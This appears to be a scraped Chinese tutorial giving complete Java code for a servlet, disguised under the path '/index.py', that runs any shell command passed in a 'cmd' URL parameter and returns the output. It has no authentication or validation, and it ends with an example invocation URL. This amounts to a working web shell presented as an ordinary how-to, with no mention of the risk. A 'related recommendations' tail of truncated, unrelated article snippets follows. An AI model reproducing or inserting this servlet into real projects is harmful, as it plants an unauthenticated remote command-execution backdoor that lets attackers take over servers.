Servlet執行Shell並返回結果
1.首先新建一個JavaWeb專案
新建一個Servlet類這裡以IndexServlet為例:
2.編輯IndexServlet.java檔案
//此處省略package
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/index.py")
public class IndexServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// TODO Auto-generated method stub
// super.doGet(req, resp);
String cmd = req.getParameter("cmd");
System.out.println(cmd);
Process process = null;
List<String> processList = new ArrayList<String>();
try {
if (cmd!=null) {
process = Runtime.getRuntime().exec(cmd);
BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = "";
while ((line = input.readLine()) != null) {
processList.add(line);
}
input.close();
}
} catch (IOException e) {
e.printStackTrace();
}
String s = "";
for (String line : processList) {
// System.out.println(line);
s += line + "\n";
}
if (s.equals("")) {
resp.getOutputStream().write("null".getBytes());
}else {
resp.getOutputStream().write(s.getBytes());
}
}
}
3.開啟伺服器,呼叫方式如下:
http://主機名:埠/應用名稱/index.py?cmd=命令名稱
樣例如下:
相關推薦
Servlet執行Shell並返回結果
1.首先新建一個JavaWeb專案 新建一個Servlet類這裡以IndexServlet為例: 2.編輯IndexServlet.java檔案 //此處省略package import j
JSP執行Shell並返回結果
在JavaWeb專案中新增一個jsp檔案,此處以shell.jsp為例 <%@page import="java.io.IOException"%> <%@page import
利用shell指令碼執行ssh遠端另一臺主機執行命令並返回命令的結果集
假設從主機A,檢查主機B上的程序, 需要在主機B上建立檢查使用者,例如叫x, 並設定通過public key認證登入SSH,不會可以google搜一下, 然後,在A機器上執行: ssh [email protected] ~/command.sh > re
/在文檔上下文裏執行腳本,並返回結果
cal lua puppet launch window row out val console /在文檔上下文裏執行腳本,並返回結果(async () => { const browser = await puppeteer.launch({ args:
pl/sql 建立並執行oralce儲存過程,並返回結果集
因為以前一直用sql server多,現在一下子用oracle ,工具什麼都不熟,侷限於sql server的思想 網上搜,和問朋友,跟我講了一大堆,什麼loop 啊,decalre啊,package啊,什麼命令視窗啊,什麼 sql plus啊,什麼不支援pl/sql啊.
用NamedParameterJdbcTemplate的execute,PreparedStatementCallback執行帶命名引數查詢並返回結果..
先呼叫pg的函式生成cursor,再fetch all返回遊標資料集.JSONData lvRet=new JSONData(); TransJdbcTemplate lvTj = ContextH
Centos 執行shell命令返回127錯誤
建數據庫 mysq data 存在 思路 功能 自動創建 運行 用戶 shell腳本功能:連接mysql,自動創建數據庫,腳本如下 mysql -h$MYSQL_IP -u$MYSQL_USER -p$MYSQL_PASSWORD --default-character-s
Python判斷用戶登錄狀態,並返回結果
sed 成功 http gif 技術分享 user 狀態 and == username = "Anker" passward = "Abc123" number =2 for i in range(1,4,1): _username = input("use
java呼叫命令提示符並返回結果(中文無亂碼)
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import
javaweb總結(九)--從jsp頁面傳送ajax請求,servlet接受引數並返回json資料
來自:https://blog.csdn.net/yanghan1222/article/details/78447231 今天遇到了問題把我難住了,解決之後就趕緊來記下來 這是一個很簡單的更新使用者的問題 先來看看專案所需jar包 接下來就是jsp頁面的東西
CHttpFile POST方式提交資料並返回結果
bool PostContent(CString strUrl/*介面地址*/, const CString &strPara/*傳送資料*/, CString &strContent/*介面返回資料*/, CString &strDe
C#呼叫Oracle儲存過程並返回結果集
1.建立一個儲存過程: createorreplaceprocedure GET_PERSON ( RC1 outsys_refcursor, RC2 outsys_refcursor ) is begin open RC1 for select * from PERSO
Binary Tree Level Order Traversal(二叉樹層序遍歷-儲存並返回結果集)
題目描述 Given a binary tree, return the level order traversal of its nodes’ values. (ie, from left to right, level by level). For example: Given
Python(66)_判斷用戶傳入的參數str中計算數字,字母,空格,以及其他的個數,並返回結果
mage isspace odin alt str elif pac png 函數 #-*-coding:utf-8-*- ‘‘‘ 寫函數,判斷用戶傳入的參數str中計算數字,字母,空格,以及其他的個數,並返回結果 ‘‘‘ content = input(‘>>
Python(66)_判斷使用者傳入的引數str中計算數字,字母,空格,以及其他的個數,並返回結果
#-*-coding:utf-8-*- ''' 寫函式,判斷使用者傳入的引數str中計算數字,字母,空格,以及其他的個數,並返回結果 ''' content = input('>>>') def func(s): num = 0 alpha = 0 space
從主Activity中呼叫子Activity,並返回結果給主Activity
使用Intent在Activity間傳遞資料的方法; 1.以Sub-Activity的方式啟動子Activity 呼叫startActivityForResult(Intent,requestCode)函式。 2.設定子Activity的返回值 呼叫setResult()函式設定需要返回給父
android: startActivityForResult用法(啟動其他Activity並返回結果)
startActivityForResult:該方法用於啟動指定Activity,而且期望獲取指定Activity返回的結果。 例如應用程式第一個介面需要使用者進行選擇,但是這種選擇的列表資料很複雜,需要啟動另一個Activity讓使用者選擇。當用戶在第二個Activity
利用Future非同步獲取多執行緒的返回結果
Future介面是Java標準API的一部分,在java.util.concurrent包中。Future介面是Java執行緒Future模式的實現,可以來進行非同步計算。 有了Future就可以進行三段式的程式設計了,1.啟動多執行緒任務2.處理其他事3.收集多執行
在資料庫中批量執行SQL並將結果記錄到檔案中
專案中有一個步驟:資料移植。資料移植要遷移很多的表,遷移完之後我們要看一下我們遷移的表的記錄數對不對。假如說有一百多張表,不可能每次都一張表一張表的去查詢然後記錄,這時候就得有一個指令碼可以自動執行。我在資料視覺化工具上怎麼試都不行,同時執行一百多個查詢語
獲取Executor提交的併發執行的任務返回結果的兩種方式/ExecutorCompletionService使用
當我們通過Executor提交一組併發執行的任務,並且希望在每一個任務完成後能立即得到結果,有兩種方式可以採取: 方式一: 通過一個list來儲存一組future,然後在迴圈中輪訓這組future,直到每個future都已完成。如果我們不希望出現因為排在前面的任務阻